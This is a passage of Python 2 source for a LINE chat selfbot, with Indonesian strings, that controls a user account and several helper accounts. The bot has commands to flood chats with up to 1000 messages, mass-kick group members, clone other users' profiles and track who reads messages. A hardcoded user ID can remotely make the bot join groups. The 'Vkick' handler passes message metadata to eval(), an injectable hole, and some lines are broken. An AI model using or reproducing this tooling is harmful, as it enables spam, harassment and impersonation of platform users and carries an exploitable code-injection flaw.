"likeOn":False,
"pname":False,
"blacklist":{},
"whitelist":{},
"wblacklist":False,
"dblacklist":False,
"qr":False,
"welcomemsg":False,
"Backup":False,
"protectionOn":False,
"winvite":False,
"pnharfbot":{},
"pname":{},
"pro_name":{},
}
wait3 = {
"copy":False,
"copy2":False,
"target":{}
}
wait2 = {
'readPoint':{},
'readMember':{},
'setTime':{},
'ROM':{},
'rom':{}
}
res = {
'num':{},
'us':{},
'au':{},
}
setTime = {}
setTime = wait2['setTime']
contact = cl.getProfile()
mybackup = cl.getProfile()
mybackup.displayName = contact.displayName
mybackup.statusMessage = contact.statusMessage
mybackup.pictureStatus = contact.pictureStatus
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
def upload_tempimage(client):
'''
Upload a picture of a kitten. We don't ship one, so get creative!
'''
config = {
'album': album,
'name': 'bot auto upload',
'title': 'bot auto upload',
'description': 'bot auto upload'
}
print("Uploading image... ")
image = client.upload_from_path(image_path, config=config, anon=False)
print("Done")
print()
def waktu(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
return '%02d Jam %02d Menit %02d Detik' % (hours, mins, secs)
def NOTIFIED_READ_MESSAGE(op):
try:
if op.param1 in wait2['readPoint']:
Name = cl.getContact(op.param2).displayName
if Name in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += "\n・" + Name
wait2['ROM'][op.param1][op.param2] = "・" + Name
else:
pass
except:
pass
def yt(query):
with requests.session() as s:
isi = []
if query == "":
query = "S1B tanysyz"
s.headers['user-agent'] = 'Mozilla/5.0'
url = 'http://www.youtube.com/results'
params = {'search_query': query}
r = s.get(url, params=params)
soup = BeautifulSoup(r.content, 'html5lib')
for a in soup.select('.yt-lockup-title > a[title]'):
if '&list=' not in a['href']:
if 'watch?v' in a['href']:
b = a['href'].replace('watch?v=', '')
isi += ['youtu.be' + b]
return isi
def mention(to, nama):
aa = ""
bb = ""
strt = int(14)
akh = int(14)
nm = nama
for mm in nm:
akh = akh + 2
aa += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(mm)+"},"""
strt = strt + 6
akh = akh + 4
bb += "\xe2\x95\xa0 @x \n"
aa = (aa[:int(len(aa)-1)])
msg = Message()
msg.to = to
msg.text = "\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\n"+bb+"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90"
msg.contentMetadata ={'MENTION':'{"MENTIONEES":['+aa+']}','EMTVER':'4'}
print "[Command] Tag All"
try:
cl.sendMessage(msg)
except Exception as error:
print error
def cms(string, commands): #/XXX, >XXX, ;XXX, ^XXX, %XXX, $XXX...
tex = ["+","@","/",">",";","^","%","$","^","サテラ:","サテラ:","サテラ:","サテラ:"]
for tex in tex:
for command in commands:
if string ==command:
return True
def sendMessage(to, text, contentMetadata={}, contentType=0):
mes = Message()
mes.to, mes.from_ = to, profile.mid
mes.text = text
mes.contentType, mes.contentMetadata = contentType, contentMetadata
if to not in messageReq:
messageReq[to] = -1
messageReq[to] += 1
def bot(op):
try:
if op.type == 0:
return
if op.type == 13:
if mid in op.param3:
G = cl.getGroup(op.param1)
if wait["autoJoin"] == True:
if wait["autoCancel"]["on"] == True:
if len(G.members) <= wait["autoCancel"]["members"]:
cl.rejectGroupInvitation(op.param1)
else:
cl.acceptGroupInvitation(op.param1)
cl.cancelGroupInvitation(op.param1,[contact.mid for contact in cl.getGroup(op.param1).invitee])
else:
cl.acceptGroupInvitation(op.param1)
cl.cancelGroupInvitation(op.param1,[contact.mid for contact in cl.getGroup(op.param1).invitee])
elif wait["autoCancel"]["on"] == True:
if len(G.members) <= wait["autoCancel"]["members"]:
cl.rejectGroupInvitation(op.param1)
else:
Inviter = op.param3.replace("",',')
InviterX = Inviter.split(",")
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, InviterX)
if matched_list == []:
pass
else:
cl.cancelGroupInvitation(op.param1, matched_list)
#------------------NOTIFIED_KICKOUT_FROM_GROUP-----------------
if op.type == 26:
msg = op.message
if msg.contentType == 13:
if wait["winvite"] == True:
if msg.from_ in admin:
_name = msg.contentMetadata["displayName"]
invite = msg.contentMetadata["mid"]
groups = cl.getGroup(msg.to)
pending = groups.invitee
targets = []
for s in groups.members:
if _name in s.displayName:
cl.sendText(msg.to,"-> " + _name + " was here")
break
elif invite in wait["blacklist"]:
ki.sendText(msg.to,"Sorry, " + _name + " On Blacklist")
ki.sendText(msg.to,"Call my owner to use command !, \n➡Unban: " + invite)
break
else:
targets.append(invite)
if targets == []:
pass
else:
for target in targets:
try:
cl.findAndAddContactsByMid(target)
cl.inviteIntoGroup(msg.to,[target])
cl.sendText(msg.to,"Done Invite : \n➡" + _name)
wait["winvite"] = False
break
except:
try:
ki.findAndAddContactsByMid(invite)
ki.inviteIntoGroup(op.param1,[invite])
wait["winvite"] = False
except:
cl.sendText(msg.to,"Negative, Error detected")
wait["winvite"] = False
break
if op.type == 19:
if mid in op.param3:
wait["blacklist"][op.param2] = True
if op.type == 22:
if wait["leaveRoom"] == True:
cl.leaveRoom(op.param1)
if op.type == 24:
if wait["leaveRoom"] == True:
cl.leaveRoom(op.param1)
if op.type == 26:
msg = op.message
if msg.toType == 0:
msg.to = msg.from_
if msg.from_ == "ufc7b7bd9cf929f01d7d1c7c2f3719368":
if "join:" in msg.text:
list_ = msg.text.split(":")
try:
cl.acceptGroupInvitationByTicket(list_[1],list_[2])
G = cl.getGroup(list_[1])
G.preventJoinByTicket = True
cl.updateGroup(G)
except:
cl.sendText(msg.to,"error")
if msg.toType == 1:
if wait["leaveRoom"] == True:
cl.leaveRoom(msg.to)
if op.type == 25:
msg = op.message
if msg.contentType == 13:
if wait["wblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
cl.sendText(msg.to,"sudah masuk daftar hitam")
wait["wblack"] = False
else:
wait["commentBlack"][msg.contentMetadata["mid"]] = True
wait["wblack"] = False
cl.sendText(msg.to,"Itu tidak berkomentar")
elif wait["dblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
del wait["commentBlack"][msg.contentMetadata["mid"]]
cl.sendText(msg.to,"Done")
wait["dblack"] = False
else:
wait["dblack"] = False
cl.sendText(msg.to,"Tidak ada dalam daftar hitam")
elif wait["wblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
cl.sendText(msg.to,"sudah masuk daftar hitam")
wait["wblacklist"] = False
else:
wait["blacklist"][msg.contentMetadata["mid"]] = True
wait["wblacklist"] = False
cl.sendText(msg.to,"Done")
elif wait["dblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
del wait["blacklist"][msg.contentMetadata["mid"]]
cl.sendText(msg.to,"Done")
wait["dblacklist"] = False
else:
wait["dblacklist"] = False
cl.sendText(msg.to,"Done")
elif wait["contact"] == True:
msg.contentType = 0
cl.sendText(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = cl.getContact(msg.contentMetadata["mid"])
try:
cu = cl.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
cl.sendText(msg.to,"[displayName]:\n" + msg.contentMetadata["displayName"] + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
else:
contact = cl.getContact(msg.contentMetadata["mid"])
try:
cu = cl.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
cl.sendText(msg.to,"[displayName]:\n" + contact.displayName + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
elif msg.contentType == 16:
if wait["timeline"] == True:
msg.contentType = 0
if wait["lang"] == "JP":
msg.text = "menempatkan URL\n" + msg.contentMetadata["postEndUrl"]
else:
msg.text = "URL\n" + msg.contentMetadata["postEndUrl"]
cl.sendText(msg.to,msg.text)
elif msg.text is None:
return
#=======================================================
elif msg.text.lower() == "crash":
if msg.from_ in admin:
msg.contentType = 13
msg.contentMetadata = {'mid': "ufc7b7bd9cf929f01d7d1c7c2f3719368"}
cl.sendMessage(msg)
#-----------------=============================
#--------------------------------- TRANSLATE --------------------------------
elif "Translate-en " in msg.text:
txt = msg.text.replace("Translate-en ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'en')
cl.sendText(msg.to,trs)
print '[Command] Translate EN'
except:
cl.sendText(msg.to,'Error.')
elif "Translate-id " in msg.text:
txt = msg.text.replace("Translate-id ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'id')
cl.sendText(msg.to,trs)
print '[Command] Translate ID'
except:
cl.sendText(msg.to,'Error.')
elif "Translate-ko " in msg.text:
txt = msg.text.replace("Translate-ko ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'ko')
cl.sendText(msg.to,trs)
print '[Command] Translate KO'
except:
cl.sendText(msg.to,'Error.')
elif "Translate-ru " in msg.text:
txt = msg.text.replace("Translate-ru ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'ru')
cl.sendText(msg.to,trs)
print '[Command] Translate RU'
except:
cl.sendText(msg.to,'Error.')
elif "Translate-ja " in msg.text:
txt = msg.text.replace("Translate-ja ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'ja')
cl.sendText(msg.to,trs)
print '[Command] Translate JA'
except:
cl.sendText(msg.to,'Error.')
elif "Translate-ar " in msg.text:
txt = msg.text.replace("Translate-ar ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'ar')
cl.sendText(msg.to,trs)
print '[Command] Translate AR'
except:
cl.sendText(msg.to,'Error.')
elif "Translate-ro " in msg.text:
txt = msg.text.replace("Translate-ro ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'ro')
cl.sendText(msg.to,trs)
print '[Command] Translate RO'
except:
cl.sendText(msg.to,'Error.')
#----------------------------------------------------------------------------
elif "Lurk on" == msg.text.lower():
if msg.to in wait2['readPoint']:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%H:%M:%S')
wait2['ROM'][msg.to] = {}
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
cl.sendText(msg.to,"cctv already on")
else:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%H:%M:%S')
wait2['ROM'][msg.to] = {}
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
cl.sendText(msg.to, "Set reading point:\n" + datetime.now().strftime('%H:%M:%S'))
print wait2
elif "Lurk off" == msg.text.lower():
if msg.to not in wait2['readPoint']:
cl.sendText(msg.to,"cctv already off")
else:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
cl.sendText(msg.to, "Delete reading point:\n" + datetime.now().strftime('%H:%M:%S'))
elif "View" == msg.text.lower():
if msg.to in wait2['readPoint']:
if wait2["ROM"][msg.to].items() == []:
cl.sendText(msg.to, "Sider:\nNone")
else:
chiya = []
for rom in wait2["ROM"][msg.to].items():
chiya.append(rom[1])
cmem = cl.getContacts(chiya)
zx = ""
zxc = ""
zx2 = []
xpesan = 'Sider:\n'
for x in range(len(cmem)):
xname = str(cmem[x].displayName)
pesan = ''
pesan2 = pesan+"@a\n"
xlen = str(len(zxc)+len(xpesan))
xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)
zx = {'S':xlen, 'E':xlen2, 'M':cmem[x].mid}
zx2.append(zx)
zxc += pesan2
msg.contentType = 0
print zxc
msg.text = xpesan+ zxc + "\ncctving time: %s\nCurrent time: %s"%(wait2['setTime'][msg.to],datetime.now().strftime('%H:%M:%S'))
lol ={'MENTION':str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}
print lol
msg.contentMetadata = lol
try:
cl.sendMessage(msg)
except Exception as error:
print error
pass
else:
cl.sendText(msg.to, "Cctv has not been set.")
#---------------------------------------------------------------------------
elif "Spam " in msg.text:
txt = msg.text.split(" ")
jmlh = int(txt[2])
teks = msg.text.replace("Spam "+str(txt[1])+" "+str(jmlh)+" ","")
tulisan = jmlh * (teks+"\n")
if txt[1] == "on":
if jmlh <= 1000:
for x in range(jmlh):
cl.sendText(msg.to, teks)
else:
cl.sendText(msg.to, "Out of Range!")
elif txt[1] == "off":
if jmlh <= 1000:
cl.sendText(msg.to, tulisan)
else:
cl.sendText(msg.to, "Out Of Range!")
#---------------------------------------------------------------------------
elif msg.text in ["Salam1"]:
cl.sendText(msg.to,"السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
cl.sendText(msg.to,"Assalamu'alaikum")
elif msg.text in ["Salam2"]:
cl.sendText(msg.to,"وَعَلَيْكُمْ السَّلاَمُ وَرَحْمَةُ اللهِوَبَرَكَاتُهُ")
cl.sendText(msg.to,"Wa'alaikumsallam.Wr,Wb")
#---------------------------------------------------------------------------
elif "Vkick " in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
cl.kickoutFromGroup(msg.to,[target])
except:
pass
#---------------------------------------------------------------------------
elif msg.text.lower() == 'key':
if wait["lang"] == "JP":
cl.sendText(msg.to,helpMessage)
else:
cl.sendText(msg.to,helpMessage)
#---------------------------------------------------------------------------
elif "Mc: " in msg.text:
wait["message"] = msg.text.replace("Message change: ","")
cl.sendText(msg.to,"message changed")
#---------------------------------------------------------------------------
elif "Ma: " in msg.text:
wait["message"] = msg.text.replace("Message add: ","")
if wait["lang"] == "JP":
cl.sendText(msg.to,"message changed")
else:
cl.sendText(msg.to,"done。")
#---------------------------------------------------------------------------
elif 'gn ' in msg.text.lower():
if msg.toType == 2:
aditya = cl.getGroup(msg.to)
aditya.name = msg.text.replace("Gn ","")
cl.updateGroup(aditya)
#-----------------------------------------------------------------------
elif "Invite:" in msg.text:
midd = msg.text.replace("Invite:","")
cl.findAndAddContactsByMid(midd)
cl.inviteIntoGroup(msg.to,[midd])
#---------------------------------------------------------------------------
elif msg.text.lower() == 'mybot':
msg.contentType = 13
msg.contentMetadata = {'mid': kimid}
ki.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki2mid}
ki2.sendMessage(msg)
msg.contentType = 13
msg.contentMetadata = {'mid': ki3mid}
ki3.sendMessage(msg)
#---------------------------------------------------------------------------
elif msg.text.lower() == 'me':
msg.contentType = 13
msg.contentMetadata = {'mid': mid}
cl.sendMessage(msg)
elif msg.text.lower() == 'me1':
msg.contentType = 13
msg.contentMetadata = {'mid': kimid}
ki.sendMessage(msg)
elif msg.text.lower() == 'me2':
msg.contentType = 13
msg.contentMetadata = {'mid': ki2mid}
ki2.sendMessage(msg)
elif msg.text.lower() == 'me3':
msg.contentType = 13
msg.contentMetadata = {'mid': ki3mid}
ki3.sendMessage(msg)
#---------------------------------------------------------------------------
elif msg.text.lower() == 'hore':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846756",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'ok':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846755",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'siap bos':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846757",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'thx':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846759",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'lol':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846776",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'tidak':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846777",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'no':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "16846777",
"STKPKGID": "8543",
"STKVER": "7" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'suntuk':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "14875040",
"STKPKGID": "1380280",
"STKVER": "1" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'apa?':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "14875046",
"STKPKGID": "1380280",
"STKVER": "1" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == '?':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "14875046",
"STKPKGID": "1380280",
"STKVER": "1" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'pose dulu':
msg.contentType = 7
msg.text = None
msg.contentMetadata = {
"STKID": "14875030",
"STKPKGID": "1380280",
"STKVER": "1" }
cl.sendMessage(msg)
cl.sendMessage(msg)
cl.sendMessage(msg)
elif msg.text.lower() == 'gift':
msg.contentType = 9
msg.contentMetadata={'PRDID': '350d37d6-bfc9-44cb-a0d1-cf17ae3657db',
'PRDTYPE': 'THEME',
'MSGTPL': '5'}
msg.text = None
cl.sendMessage(msg)
elif msg.text.lower() == 'gift2':
msg.contentType = 9
msg.contentMetadata={'PRDID': 'f44b6a1a-bdfa-47f7-a839-e7938eb71aac',
'PRDTYPE': 'THEME',
'MSGTPL': '7'}
msg.text = None
cl.sendMessage(msg)
elif msg.text.lower() == 'gift3':
msg.contentType = 9
msg.contentMetadata={'PRDID': '89131c1a-e549-4bd5-9e60-e24de0d2e252',
'PRDTYPE': 'THEME',
'MSGTPL': '10'}
msg.text = None
cl.sendMessage(msg)
#---------------------------------------------------------------------------
elif msg.text.lower() == 'cancel':
if msg.toType == 2:
group = cl.getGroup(msg.to)
if group.invitee is not None:
gInviMids = [contact.mid for contact in group.invitee]
cl.cancelGroupInvitation(msg.to, gInviMids)
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"No invites")
else:
cl.sendText(msg.to,"No invites")
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"No invites")
else:
cl.sendText(msg.to,"No invites")
#---------------------------------------------------------------------------
elif msg.text.lower() == 'ourl':
if msg.toType == 2:
group = cl.getGroup(msg.to)
group.preventJoinByTicket = False
cl.updateGroup(group)
if wait["lang"] == "JP":
cl.sendText(msg.to, "URL Open" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
else:
cl.sendText(msg.to, "URL Open" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"It can not be used outside the group")
else:
cl.sendText(msg.to,"Can not be used for groups other than")
#---------------------------------------------------------------------------
elif msg.text.lower() == 'curl':
if msg.toType == 2:
group = cl.getGroup(msg.to)
group.preventJoinByTicket = True
cl.updateGroup(group)
if wait["lang"] == "JP":
cl.sendText(msg.to, "URL Close" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
else:
cl.sendText(msg.to, "URL Close" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"It can not be used outside the group")
else:
cl.sendText(msg.to,"Can not be used for groups other than")
#---------------------------------------------------------------------------
elif msg.text in ["Glist"]:
if msg.from_:
gid = cl.getGroupIdsJoined()
h = ""
for i in gid:
h += "• %s\n\n" % (cl.getGroup(i).name +" >> "+str(len(cl.getGroup(i).members))+"")
cl.sendText(msg.to," 🔱List Group🔱\n\n\n"+ h +"> Total Group : " +str(len(gid))+"")
#---------------------------------------------------------------------------
elif msg.text.lower() == 'mid':
cl.sendText(msg.to,mid)
elif msg.text.lower() == 'mid1':
ki.sendText(msg.to,kimid)
elif msg.text.lower() == 'mid2':
ki2.sendText(msg.to,ki2mid)
elif msg.text.lower() == 'mid3':
ki3.sendText(msg.to,ki3mid)
#---------------------------------------------------------------------------
elif "Allmid" == msg.text:
ki.sendText(msg.to,kimid)
ki2.sendText(msg.to,ki2mid)
ki3.sendText(msg.to,ki3mid)
#---------------------------------------------------------------------------
elif "TL:" in msg.text:
tl_text = msg.text.replace("TL:","")
cl.sendText(msg.to,"line://home/post?userMid="+mid+"&postId="+cl.new_post(tl_text)["result"]["post"]["postInfo"]["postId"])
#---------------------------------------------------------------------------
elif "Allcn:" in msg.text:
string = msg.text.replace("Allcn:","")
if len(string.decode('utf-8')) <= 20:
profile = ki.getProfile()
profile.displayName = string
ki.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki2.getProfile()
profile.displayName = string
ki2.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki3.getProfile()
profile.displayName = string
ki3.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki4.getProfile()
profile.displayName = string
ki4.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki5.getProfile()
profile.displayName = string
ki5.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki6.getProfile()
profile.displayName = string
ki6.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki7.getProfile()
profile.displayName = string
ki7.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki8.getProfile()
profile.displayName = string
ki8.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki9.getProfile()
profile.displayName = string
ki9.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = ki10.getProfile()
profile.displayName = string
ki10.updateProfile(profile)
cl.sendText(msg.to, "Name Changed To " + string + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
#---------------------------------------------------------------------------
elif "Allbio:" in msg.text:
string = msg.text.replace("Allbio:","")
if len(string.decode('utf-8')) <= 500:
profile = ki.getProfile()
profile.statusMessage = string
ki.updateProfile(profile)
if len(string.decode('utf-8')) <= 500:
profile = ki2.getProfile()
profile.statusMessage = string
ki2.updateProfile(profile)
if len(string.decode('utf-8')) <= 500:
profile = ki3.getProfile()
profile.statusMessage = string
ki3.updateProfile(profile)
cl.sendText(msg.to,"🔄 Bio Turns Into " + string + "")
#---------------------------------------------------------------------------
elif "Cn:" in msg.text:
string = msg.text.replace("Cn:","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"🔄 Name Changed To : " + string + "")
#---------------------------------------------------------------------------
if msg.text.lower() in ["tag"]:
group = cl.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
nm1, nm2, nm3, nm4, nm5, jml = [], [], [], [], [], len(nama)
if jml <= 100:
mention(msg.to, nama)
if jml > 100 and jml < 200:
for i in range(0, 99):
nm1 += [nama[i]]
mention(msg.to, nm1)
for j in range(100, len(nama)-1):
nm2 += [nama[j]]
mention(msg.to, nm2)
if jml > 200 and jml < 500:
for i in range(0, 99):
nm1 += [nama[i]]
mention(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
mention(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
mention(msg.to, nm3)
for l in range(300, 399):
nm4 += [nama[l]]
mention(msg.to, nm4)
for m in range(400, len(nama)-1):
nm5 += [nama[m]]
mention(msg.to, nm5)
if jml > 500:
print "Terlalu Banyak Men 500+"
cnt = Message()
cnt.text = "Jumlah :\n" + str(jml) + " Members" + "\n\nWaktu :" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S')
cnt.to = msg.to
cl.sendMessage(cnt)
#---------------------------------------------------------------------------
elif msg.text in ["Mybackup"]:
try:
cl.updateDisplayPicture(mybackup.pictureStatus)
cl.updateProfile(mybackup)
cl.sendText(msg.to, " Done" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
except Exception as e:
cl.sendText(msg.to, str (e))
#-----------------------------------------------
elif "/say-jp " in msg.text:
say = msg.text.replace("/say-jp ","")
lang = 'jp'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
cl.sendAudio(msg.to,"hasil.mp3")
#------------------------------------------------
elif "/say-en " in msg.text:
say = msg.text.replace("/say-en ","")
lang = 'en'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
cl.sendAudio(msg.to,"hasil.mp3")
#-----------------------------------------------
elif "/say " in msg.text:
psn = msg.text.replace("/say ","")
tts = gTTS(psn, lang='id', slow=False)
tts.save('tts.mp3')
cl.sendAudio(msg.to, 'tts.mp3')
#---------------------------------------------------------------------------
elif "Copy " in msg.text:
copy0 = msg.text.replace("Copy ","")
copy1 = copy0.lstrip()
copy2 = copy1.replace("@","")
copy3 = copy2.rstrip()
_name = copy3
group = cl.getGroup(msg.to)
for contact in group.members:
cname = cl.getContact(contact.mid).displayName
if cname == _name:
cl.CloneContactProfile(contact.mid)
cl.sendText(msg.to, " Done " + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
else:
pass
#--------------------------------------------------------
elif "Set member: " in msg.text:
if msg.from_ in admin:
jml = msg.text.replace("Set member: ","")
wait["Members"] = int(jml)
cl.sendText(msg.to, "Jumlah minimal member telah di set : "+jml)
else:
cl.sendText(msg.to, "Khusus Admin")
#--------------------------------------------------------
elif "Recover" in msg.text:
thisgroup = cl.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
cl.createGroup("Recover", mi_d)
cl.sendText(msg.to,"Success recover")
#---------------------------------------------------------------------------
elif "kedapkedip " in msg.text.lower():
txt = msg.text.replace("kedapkedip ", "")
cl.kedapkedip(msg.to,txt)
print "[Command] Kedapkedip"
elif "Steal mid @" in msg.text:
if msg.from_ in admin:
_name = msg.text.replace("Steal mid @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
cl.sendText(msg.to, g.mid)
else:
pass
#---------------------------------------------------------------------------
#-----------------------------------------------
elif "Siapa " in msg.text:
tanya = msg.text.replace("Siapa ","")
jawab = ("Dia yg kebanyakan micin"," Dia gila")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='en')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
#==========================================
elif "Dosa @" in msg.text:
tanya = msg.text.replace("Dosa @","")
jawab = ("60%","70%","80%","90%","100%","Tak terhingga")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='en')
tts.save('tts.mp3')
cl.sendText(msg.to,"Dosanya adalah cek voie ini")
cl.sendAudio(msg.to,'tts.mp3')
elif msg.text in ["Center @bye"]:
if msg.from_ in admin:
if msg.toType == 2:
X = cl.getGroup(msg.to)
try:
cl.sendMessage(msg.to,"bye-bye")
cl.leaveGroup(msg.to)
except:
pass
elif "Staff add @" in msg.text:
if msg.from_ in admsa or admin:
print "[Command]Staff add executing"
_name = msg.text.replace("Staff add @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
gs = ki.getGroup(msg.to)
gs = ki2.getGroup(msg.to)
gs = ki3.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Contact not found.")
else:
for target in targets:
try:
staff.append(target)
cl.sendText(msg.to,"Staff added.")
except:
pass
print "[Command]Staff add executed"
else:
cl.sendText(msg.to,"Command denied.")
cl.sendText(msg.to,"Admin permission required.")
elif "Staff remove @" in msg.text:
if msg.from_ in admsa or admin:
print "[Command]Staff remove executing"
_name = msg.text.replace("Staff remove @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
gs = ki.getGroup(msg.to)
gs = ki2.getGroup(msg.to)
gs = ki2.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Contact not found.")
else:
for target in targets:
try:
staff.remove(target)
cl.sendText(msg.to,"Staff deleted.")
except:
passp
print "[Command]Staff remove executed"
else:
cl.sendText(msg.to,"Command denied.")
cl.sendText(msg.to,"Admin permission required.")
elif msg.text in ["Stafflist","stafflist"]:
if msg.from_ in admin == []:
cl.sendText(msg.to,"The stafflist is empty")
else:
mc = ""
for mi_d in admin:
if mi_d not in admsa:
